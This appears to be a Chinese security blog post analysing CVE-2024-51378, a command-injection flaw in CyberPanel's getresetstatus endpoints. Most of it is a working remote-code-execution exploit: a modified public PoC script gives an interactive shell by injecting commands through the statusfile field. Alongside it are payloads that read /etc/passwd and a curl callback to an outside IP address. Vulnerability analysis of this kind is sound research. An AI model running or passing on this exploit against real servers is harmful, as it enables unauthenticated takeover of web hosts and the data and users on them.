CyberPanel是一个基于OpenLiteSpeed的开源Web控制面板,它提供了一个用户友好的界面,用于管理网站、电子邮件、数据库和FTP账户等。然而,近期奇安信CERT监测到了一个严重的安全漏洞,该漏洞允许未授权的攻击者通过/dns/getresetstatus 和 /ftp/getresetstatus接口执行任意命令,从而获取服务器权限。
Cyberpanel < 2.3.8
(https://github.com/usmannasir/cyberpanel/tree/v2.3.5)
漏洞出现在/dns/getresetstatus 和 /ftp/getresetstatus接口,该接口分别位于dns/views.py和ftp/views.py的文件下,接口对应的代码一致,如下:
该接口将从请求体中获取statusfile字段,并将其拼接到
sudo cat
之后,传递给ProcessUtilities.outputExecutioner方法,
该方法位于plogical文件夹下的ProcessUtilities文件,找到该方法:
如图代码所示,sudo cat
将作为command传入,注意这句代码:
if shell == None or shell == True: p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
如果shell参数为空或者为True的话,那么将使用subprocess的popen方法执行command命令,并且Popen的shell属性为True。
我们先自己在本地模拟subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)执行后的效果,脚本如下:
import subprocess
process = subprocess.Popen('sudo cat /etc/passwd;whoami;#', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
if process.returncode != 0:
print(f"Command failed with return code {process.returncode}")
if stderr:
print(f"Error message: {stderr.decode()}")
else:
if stdout:
print(stdout.decode())
else:
print("No output from the command")
利用公开poc脚本
https://github.com/refr4g/CVE-2024-51378/blob/main/CVE-2024-51378.py
这里我自己修改了下,直接写死target和endpoint值,并修改了请求方式
import sys
RED = "\\033\[91m"
GREEN = "\\033\[92m"
CYAN = "\\033\[96m"
MAGENTA = "\\033\[95m"
YELLOW = "\\033\[93m"
RESET = "\\033\[0m"
print(f"{RED}CVE-2024-51378{RESET} - Remote Code Execution Exploit")
print(f"{CYAN}Author:{RESET} {GREEN}Luka Petrovic (refr4g){RESET}")
print()
target = "https://xxxx:8090/" #此处填写目标地址
endpoint = "/ftp/getresetstatus" #此处也可以填写/dns/getresetstatus
client = httpx.Client(base\_url\=target, verify\=False)
try:
response = client.get("/")
response.raise\_for\_status()
except httpx.RequestError:
print(f"{RED}Error: Unable to reach the target {target}. Please check the URL and your connection.{RESET}")
sys.exit(1)
def get\_token():
response = client.get("/")
return response.cookies.get("csrftoken")
def rce(client, csrf\_token, cmd, endpoint):
headers = {
"X-CSRFToken": csrf\_token,
"Content-Type": "application/json",
"Referer": str(client.base\_url)
}
payload = '{"statusfile": " %s; #"}' % cmd
response = client.request("POST", endpoint, headers\=headers, data\=payload)
return response.json().get("requestStatus")
csrf\_token = get\_token()
if not csrf\_token:
print(f"{RED}Failed to retrieve CSRF token. Exiting.{RESET}")
sys.exit(1)
while True:
cmd = input(f"{YELLOW}$> {RESET}")
print(rce(client, csrf\_token, cmd, endpoint))
该脚本传递的payload值为
'{"statusfile": "%s; #"}' % cmd
假使cmd值为
< /dev/null;whoami
那么拼接后的command值为
sudo cat < /dev/null;whoami;#
现在正式开始测试,本地使用nc工具打开8090端口
执行 python .\CVE-2024-51378.py,输入cmd命令:
/dev/null;curl http://124.222.86.31:8090
响应成功,检查本地8090端口监听
成功收到请求,证明命令被执行成功!
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!